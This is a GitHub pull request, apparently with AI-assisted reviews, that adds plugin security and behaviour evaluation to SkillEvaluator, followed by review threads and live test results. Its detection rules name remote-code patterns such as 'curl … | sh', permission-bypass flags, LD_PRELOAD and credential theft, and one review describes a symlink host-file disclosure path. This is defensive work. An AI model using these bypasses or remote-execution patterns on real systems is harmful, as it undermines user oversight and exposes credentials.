feat(plugin): Add Plugin evaluation support across all tiers

[chrisknvidia]

Summary

This PR adds plugin evaluation to every tier of SkillEvaluator. It takes a plugin in any of five manifest formats (agent_plugin.yaml, Claude Code, Codex, Cursor or Agent Plugins v1), checks its structure and security statically (Tier 1), checks it for duplication (Tier 2), and measures its behavior with live agents (Tier 3), loading it through a generated wrapper skill or natively in Claude Code, Codex and OpenCode. The reports say plainly what was and was not demonstrated.

Files staged ≠ components loaded ≠ behavior verified. Every plugin report separates what was inventoried, what was staged into a run, what the harness reported as loaded, what was observed in agent traces, and what was not evaluated at all. Missing evidence narrows the claim; it is never silently dropped.

Full documentation: docs/plugin-evaluation.mdx.

How plugin evaluation works

flowchart LR
    P["Plugin<br/>agent_plugin.yaml · Claude Code · Codex · Cursor · Agent Plugins v1<br/>skills · rules · MCP · hooks · agents · commands ·<br/>LSP · monitors · settings · styles"]

    subgraph T1["Tier 1 · Static & security (gating)"]
        direction TB
        T1a["Manifest checks per format<br/>+ component inventory"]
        T1b["Dependency classification<br/>provided / referenced / missing / external / unresolved"]
        T1c["MCP policy · pinning · endpoints<br/>(opt-in DNS and redirect checks)"]
        T1d["Hook risk · agent, command and skill privileges<br/>LSP, monitor and settings checks"]
        T1e["Whole-tree scans · bundled-skill quality/lint/version<br/>opt-in CVE audit: Python, npm, containers"]
        T1f["Static context-cost estimate"]
    end

    subgraph T2["Tier 2 · Deduplication (advisory)"]
        direction TB
        T2a["A · duplicate refs"]
        T2b["C-intra · bundled-skill overlap"]
        T2c["C-inter · skills vs local catalog"]
        T2d["B · plugin vs other plugins<br/>(optional LLM verdict)"]
    end

    subgraph T3["Tier 3 · Live agent evaluation (Harbor)"]
        direction TB
        L["Plugin loading<br/>wrapper (default): generated skill + members + rules + MCP<br/>native: claude-code · codex · opencode adapters"]
        A1["With plugin<br/>load census · hook census"]
        A2["Without plugin"]
        A3["Member skills only<br/>(sum of parts)"]
        G["Graders<br/>security incl. canary exfiltration · execution ·<br/>judges (N/A without a reference)"]
        S["Plugin signals (advisory)<br/>activations · routing · tool selection · arguments ·<br/>MCP outcomes · order · handoff · conflict"]
        M["MCP proof (opt-in)<br/>host probe + in-agent calls"]
        ST["Statistics<br/>paired bootstrap CI · pass@k / pass^k ·<br/>cost per success · token efficiency · context delta"]
    end

    R["Reports<br/>JSON · Markdown · HTML · SARIF · CLI<br/>coverage: staged / loaded / exercised<br/>INCOMPLETE / INCONCLUSIVE · plugin BENCHMARK.md"]

    P --> T1 --> T2 --> T3 --> R
    L --> A1
    A1 --> G
    A2 --> G
    A3 --> G
    G --> S --> ST
    S --> M

Loading

What each tier supports

Tier	Capability	Gating
1	Manifests: agent_plugin.yaml and the Claude Code, Agent Plugins v1, Codex and Cursor plugin.json formats, selected in that order, with root-bounded, no-follow discovery and each client's field checks. Other manifests found are recorded and their components checked. Opt-in claude-validate compares the verdict with claude plugin validate for Claude Code plugins (advisory)	Blocking on invalid or unsafe input; MEDIUM plugin_manifest_conflict on a name or version mismatch
1	Component inventory: skills, rules, MCP, hooks (frontmatter hooks too), subagents, commands, LSP, output styles, monitors, settings, Codex apps and Agent Plugins extensions, each with a support level and per-component finding counts	Missing, escaping, unsafe or invalid declared paths block (HIGH)
1	Dependency classification: provided / referenced / missing / external / unresolved, with fail-closed repository identity and validate --repo-root. Claude Code dependencies resolve against the plugin's marketplace.json	Only missing blocks (HIGH plugin_dependency_missing); refs it cannot check are MEDIUM
1	MCP static policy for every mcpServers form (inline, path, array, root .mcp.json), read with each client's ${VAR} expansion	CRITICAL and HIGH block; Tier 3 staging re-checks them
1	Pinning of package runners and images (npx, uvx, pnpm dlx, docker run, ...) through launch wrappers, in MCP servers and command hooks, with a pinning ratio	HIGH mcp_command_floating_version for a moving tag; MEDIUM mcp_unpinned_package otherwise
1	Bypass flags and overrides in MCP servers, hooks, LSP servers, monitors and settings (--dangerously-skip-permissions, bypassPermissions, Codex -a never, auto-approve, LD_PRELOAD, proxy and base-URL redirects, shipped .env)	HIGH or MEDIUM, by type
1	Endpoint policy for metadata, private, loopback and link-local hosts (encoded IPs too), with an mcp.allowed_private_hosts allowlist. Opt-in --resolve-endpoints adds DNS and one HEAD check	HIGH (metadata, never allowlisted) or MEDIUM
1	Hook risk per handler, scripts included: remote code (curl … | sh, download-then-run), inline secrets, broad auto-approval, HTTP endpoints (hooks.allowed_urls), context injection	CRITICAL to LOW; an unanalyzable script is HIGH
1	Subagent, command and skill privileges (tools, allowed-tools, permissionMode)	HIGH: bypassPermissions, or allowed-tools that pre-approve any Bash. MEDIUM: wildcards, acceptEdits/auto, subagents that inherit every tool beside a write-capable MCP server. LOW: a subagent's unrestricted Bash
1	Whole-plugin-tree security, PII, code-risk, secrets, license, hygiene and Unicode scans, plus quality/lint/version on every bundled skill	Existing Tier 1 gates
1	Opt-in dependency audit of declared exact pins, installing nothing: Python (pip-audit --no-deps --disable-pip), npm (lockfiles, package.json, MCP runner packages) and container images (MCP and Dockerfiles), with OSV-Scanner, npm audit, Grype or Trivy	Advisory severity. Pins that pip-audit skips or the npm registry lacks are MEDIUM dependency-not-audited; floating versions are INFO; no scanner or an unreadable file is INCOMPLETE
1	Static always-on vs on-demand context-cost estimate, per harness and load mode	Report-only
2	Check A (duplicate refs), C-intra (bundled-skill overlap), and the local-catalog checks C-inter (skills vs catalog) and B (plugin vs other plugins, optional --llm verdict). Catalog v2 stores plugin entries; v1 catalogs still load	Advisory; unsafe input blocks
3	Three arms: with plugin, without plugin, member skills only. --lift-mode effectiveness|integration|both, with the Integration evidence gate (cross_component, expected_skills)	Gates only with --block-on-agent-eval
3	--plugin-load wrapper|native|auto (default wrapper) for the with-plugin arm only: native adapters for claude-code (--plugin-dir), codex and opencode; Hermes (experimental) uses the wrapper. A per-trial load census lists staged components; Claude Code's init event marks them loaded or not_loaded	Report-only. native refuses components with a permission bypass; a native run with no load census, or whose plugin Claude Code never loaded, is INCOMPLETE
3	Hook census: native command hooks run through hook_census.sh, which records runs, denials and start failures and passes input, output and exit code through	Advisory; marks hooks exercised
3	Opt-in --trial-retries N (or harbor.trial_retries in evals/config.yml, 0–5): reruns a trial only when it fails before the agent starts its task (environment start timeout, agent setup timeout, or a network failure while installing the agent). A failure during the task is never retried; retries are shown in the run plan and counted in the results	Report-only
3	Canary exfiltration: a random decoy credential (file and env var) in every arm, traced through shell statements, network and MCP tools, URLs, git, and files written outside the workspace	Critical canary_exfiltration; plugin-attributable when the plugin arm leaks more often than the baseline
3	Runtime security: credential-store reads and protected-file writes, matched as normalized whole paths, subagent and child-agent calls included	Critical scores 0.0
3	MCP proof (opt-in --probe-mcp): a policy-checked host initialize and tools/list for URL servers, with no host credentials unless a variable is named with --probe-mcp-env, then updated from the agent's own calls	Advisory
3	Paired case-bootstrap 95% CI on Effectiveness and Integration lift, with a precision flag. pass^k, cost per success, token efficiency, measured first-turn context delta	Report-only; Integration becomes INCONCLUSIVE when the CI crosses a ±0.05 band edge, fewer than 5 cases pair, or coverage is incomplete
3	Plugin signals (dataset-driven): activations, routing and tool-selection P/R/F1 with decoys, argument checks, MCP call outcomes by server and tool, order, handoff, conflict probes, activation coverage. Subagent calls are credited whichever key names the agent (subagent_type or Claude Code's type), and a successful Claude Code LSP call is credited to the plugin LSP server that serves the file's extension	Advisory, report-only
3	Judges without a reference (ground_truth / expected_behavior) are N/A, not a fabricated 1.0	See reviewer notes
All	Reports: plugin sections in JSON, Markdown, HTML, SARIF and the CLI, including plugin loading, hook census, canary and MCP proof. Tier 3 coverage per component (staged, loaded, not_loaded, exercised, ...), headlined as "N components not staged"; explicit INCOMPLETE and INCONCLUSIVE; plugin_provenance.json re-read when a report is rebuilt; plugin BENCHMARK.md card	—

Reviewer notes: behavior changes to be aware of

• N/A judges. Accuracy, goal accuracy and behavior check no longer return 1.0 when the case has no reference. They are excluded from the overall score and from lift, so a run where no case has ground_truth now gets a NEUTRAL verdict at best, because its Correctness evidence is missing. reward.json stays numeric-only for Harbor, and the N/A markers travel in the sidecar.
• One lift basis, skills included. The arm without the skill or plugin scores skill_execution and skill_efficiency as N/A, and every lift compares its two arms case by case on the dimensions both scored. Activation alone no longer earns lift, so Skill Lift values change for skill runs too.
• Tier 3 gate. With --block-on-agent-eval, a Tier 3 FAIL verdict now fails validate, and so does a confirmed Skill Lift regression (lift at or below −0.10 with its whole interval below zero). NEUTRAL never does.
• Scores can move for skill runs too. Judges see the full body of each file write, within the evidence budget, instead of its first 200 characters. Runtime security checks more credential stores, protected files and subagent calls, and treats curl … | sh and forced git push as critical.
• New blocking Tier 1 findings for plugins: the CRITICAL and HIGH findings of the manifest, component-path, dependency, MCP, endpoint, bypass-flag, hook-risk and privilege checks above. Tier 3 staging fails closed on the same MCP findings.
• Bundled skills are gated. Quality, lint and version now run on each bundled skill, so a weak bundled skill can fail a plugin that used to pass.
• Integration verdict (advisory). It reads the whole interval against the ±0.05 band and is inconclusive when the interval crosses a band edge, fewer than 5 cases pair, or per-case coverage is incomplete. The point estimate's band is kept as point_verdict.
• The dependency audit no longer installs anything. It audits exact pins with --no-deps --disable-pip, so transitive coverage from requirements files is traded for not executing untrusted build code. Python advisories take their severity from the public OSV record (GitHub severity, then CVSS) rather than defaulting to HIGH.

Public adaptations and exclusions

• Public GitHub/Git references and same-repository offline resolution only. Nothing internal is included: no GitLab, P4, managed execution, private providers or endpoints, credentials, telemetry, provider-registry MCP resolution, or remote vector DB.
• Tier 1 plugin checks run offline unless you opt in: --resolve-endpoints adds DNS and redirect checks, and the dependency audit uses its scanners' advisory and registry lookups. Tier 2 catalogs are local files.
• Not yet supported, and reported as such rather than hidden:
  • LSP servers outside native Claude Code, and monitors: native Claude Code stages LSP servers and credits them as exercised from the agent's LSP calls; other harnesses and wrapper mode do not stage them, and monitors are never staged;
  • native-load confirmation outside Claude Code: Codex and OpenCode components stay listed (found, not confirmed by the harness); Hermes has no native plugin path, and no end-to-end Hermes plugin run has been verified;
  • process-level evidence: runtime security and the canary read the agent's tool calls and the files they wrote, so a hook or MCP server process acting on its own is not observed;
  • an equivalent of internal's provider-registry MCP proof: provider-only MCP servers are never resolved or probed (the run is INCOMPLETE), and --probe-mcp covers URL servers only;
  • MCP env, headers and ${user_config.*} values that the with-plugin arm cannot apply (only native Claude Code applies them); such runs are INCOMPLETE;
  • Codex apps and Agent Plugins extensions, which are inventoried only.

Included pull requests

• #171 (Stage C): native plugin loading, the Codex, Cursor and Agent Plugins v1 manifests, static risk checks for hooks, privileges, LSP, monitors, settings and output styles, runtime evidence (load and hook census, canary), npm and container CVE audits, and the MCP proof.
• #180 and #181: fixes from two rounds of code review of this PR.
• Fixes from live validation on real plugins and on a fixture plugin with every component type: MCP, hook, subagent, command and LSP staging, detection and reporting, NVIDIA Build bridge handling of long MCP tool names and non-text tool results, and --trial-retries (results).
• The branch tracks main through v0.5.0, including the Harbor 0.24.0 upgrade from #83.

Verification

• uv run pytest -q -n 6 at e8b7aeb: 17,893 passed, 29 skipped; CI green (17 checks). One existing timing test, test_streamed_timeout_callback_matches_result_and_contains_descendants, is flaky under heavy xdist load and passes on rerun
• uv run ruff check .: passed
• scripts/check_oss_boundary.py and scripts/ci/check_public_benchmarks.py --require-files tests/golden: passed
• fern check: 0 errors

A sample live Harbor run on the internal counterpart of this work (MR !280) passed for Claude Code and Codex with native loading (results). Live plugin runs on Harbor 0.24.0 with NVIDIA Build (results):

• Two real plugins loaded natively in Claude Code, Codex and OpenCode, and their bundled or referenced skills were exercised; Claude Code ran the plugin's hooks.
• A fixture plugin with one of each component type, run natively in Claude Code, reached exercised for its MCP server, hooks, command and LSP server.
• Some runs read INCOMPLETE because NVIDIA Build returned 429 to an agent or a judge; those trials are left unscored rather than given a score.

Verification also covers focused regressions per feature (including symlink, escape and oversize cases) and packaging and boundary checks.

Restoration note (from the original description)

This PR replaces #17, which GitHub permanently closed after the default-branch history was consolidated and the original head branch was deleted and recreated. The original discussion and commit history remain available on #17.

🤖 Generated with Claude Code

[rng1995]

The plugin evaluation implementation and its follow-up hardening are well covered, but I found one small diff-hygiene issue to clean up.

[rng1995]

Approved after the EOF diff-hygiene issue was fixed in 3965061, the review thread was resolved, and the complete GitHub check matrix passed.

[rng1995]

Fresh review found two actionable security issues in the plugin evaluation staging path. The previous EOF-hygiene thread is already fixed and resolved. I will address these findings while updating the branch from current main.

[rng1995]

Approved after fresh security review and remediation: all review threads are resolved, the branch is conflict-free against current main, the complete local suite passes (3,999 passed, 21 skipped, 3 deselected), and all 15 GitHub checks pass including Windows, packaging, DCO, and security scans.

[mohgupta-ship-it]

Posted by Codex on behalf of Mohit.

Request changes: plugin provenance is persisted through a symlink-following path after the long-running evaluation. This is a medium output-integrity risk for a same-privilege actor able to modify the selected results location. The inline note describes a no-follow, atomic remediation and the regression coverage needed.

[mohgupta-ship-it]

Codex review on behalf of Mohit — REQUEST CHANGES

Critical sandbox/path-integrity blocker. Two safe reproductions show plugin-controlled Git symlinks can cause host-readable content to be staged before Docker isolation: (1) a member evals/evals.* symlink is accepted through find_eval_file(...).exists(), parsed, and copied into task inputs before any symlink validation; (2) a repo-root skills or rules symlink is resolved before containment, making the external target the trusted root.

This is a pre-sandbox host-file disclosure path, not only a race. Reject links/reparse points and mount crossings before resolution; use descriptor-anchored no-follow reads/copies for member datasets (new and legacy layouts); preserve the lexical clone-root boundary for canonical refs; and add regressions for both attack paths.

Secondary integrity issue: fail closed when the Git-origin slug is unavailable — the current fallback can mark a foreign reference as fully evaluated.

[rng1995]

@chrisknvidia Gentle ping when you have a chance: there are still three unresolved review threads on this PR. Please take a look and update the branch or reply on the threads where you disagree.

[rng1995]

Updated in f3aefb9: merged current main and resolved the conflicts, hardened provenance/canonical-ref/member-dataset staging, and fixed the custom-only sum-of-parts report path uncovered during the merge review. All addressed review threads are resolved. Local verification covered the full suite and focused security/report regressions; Ruff and git diff --check pass. All GitHub checks, including Python 3.12/3.13, DCO, CodeQL, packaging, Windows Tier 2, and macOS Tier 3, are green.

[rng1995]

Live evaluation results: plugin evaluation on real plugins

Result: plugin evaluation works end to end on two real plugins across Tier 1, Tier 2 and Tier 3. Native loading is confirmed for claude-code, codex and opencode. The live runs found 9 SkillEvaluator issues, all fixed and pushed to this PR (listed below; suite: 17,617 passed; gitleaks and the OSS boundary check are clean).

What was tested

	Plugin	Components
P1 (public)	NVIDIA/skills → plugins/nvidia-skills	.claude-plugin, .codex-plugin, .cursor-plugin; 1 bundled skill
P2 (internal bundle)	A plugin from an internal catalog	agent_plugin.yaml, .claude-plugin, .codex-plugin; 7 command hooks; 1 skill declared by a source: gitlab ref

Setup

• Provider: NVIDIA Build (nemotron-3-super-120b-a12b), Docker env mode on macOS.
• Tools: gitleaks 8.30.0, SkillSpector 2.12.0, and Claude Code 2.1.286 for parity.
• Tier 3: 3 cases × 2 arms per run, --timeout-multiplier 3.

Results

Area	Test	P1 public	P2 internal
Detection	Manifest precedence, multi-manifest declarations, inventory, MCP	✅	✅ (MEDIUM version conflict, as expected)
	Dependency refs (source: gitlab, same-repo identity)	n/a	✅ after fix
Tier 1	Schema and bundled-skill quality	🟣 HIGH author_format	✅ after fix
	Hook risk model	n/a	🟣 HIGH: hooks fall back to CODEX_PLUGIN_ROOT
	Permissions, context cost, dependency audit, exit gate, --policy	✅	✅
	Whole-tree security scans	✅ after fix	🟣 SkillSpector itself reports partial
	claude plugin validate parity	✅	n/a (agent_plugin.yaml selected)
Tier 2	Catalog build (61 plugins), tier2 --catalog, validate --tiers 1,2	✅	✅
Tier 3	opencode · wrapper · validate --tier3 --block-on-agent-eval	✅ 6/6 scored; 0.935 vs 0.768 (Δ +0.18)	✅ ref skill staged
	opencode · native	✅ skill exercised	✅ skill exercised; hooks not_loaded (unsupported)
	claude-code · native (Messages bridge)	✅ skill loaded (init event) and exercised; with-plugin 3/3, 0.81	✅ skill loaded; 4/9 hook handlers ran, exit 0
	codex · native (Responses bridge)	✅ skill exercised	✅ ref skill exercised; hooks not_loaded
	Coverage vs census consistency	✅	✅ after fix
	Runtime security and canary	✅ security 1.0; no exfiltration	✅ no exfiltration
Reports	JSON/HTML completeness, N/A shown as null/"n/a", BENCHMARK.md	✅	✅
	Key redaction (1,107 files incl. bridge logs)	✅ 0 hits	✅ 0 hits

Legend: ✅ pass · 🟣 correct finding about the plugin (not an SE bug).

Some Tier 3 runs scored 5 of 6 trials or fewer. The losses were outside SkillEvaluator: agent-install network failures on the test host, two 900 s agent timeouts, one judge reply that wasn't valid JSON, and the intermittent output-cap error listed under Remaining. In every case SE marked the run INCOMPLETE rather than inventing a score.

Fixes pushed to this PR

The branch history was later reorganized into logical commits; each fix links to the commit that now contains it.

Now in commit	Fix
d428216e1 + 4d66cba65	fix(plugin): accept source: gitlab dependency refs
d428216e1	fix(plugin): one schema finding per bad dependency ref
6f2d54fd1	fix(plugin): resolve hook scripts named through root default chains and variables
11dadc0eb	fix(security): exempt a manifest's declared author email from PII
11dadc0eb	fix(security): reconcile SkillSpector's documented out-of-scope artifacts (upstream bug SKILLSPECT-224)
dde92270e	fix(tier3): match ref-declared member skills to their runtime evidence
bca81c60f	fix(tier3): explain command-output budget overflows in the limit error
eecd88731	fix(reporting): show Integration as not measured for effectiveness-only plugin runs
eecd88731	fix(reporting): show a passed result's warnings in the CLI report

Remaining

• Hermes: not run live; it uses the wrapper.
• Intermittent 16 MiB setup-output error: cause not confirmed. It occurred only under network contention, and the next occurrence will now record a redacted diagnostic.
• Parity limitation: the check is skipped when agent_plugin.yaml is selected, even if the plugin also ships .claude-plugin/plugin.json.

Full SkillEvaluator reports

validate --type plugin --tiers 1,2,3 --tier3 -a opencode --plugin-load native --trial-retries 2 on head e8b7aeb.

Plugin	BENCHMARK.md	report.html
P1 (public) nvidia-skills	BENCHMARK.md	report.html
P2 (internal bundle)	BENCHMARK.md	report.html

🤖 Generated with Claude Code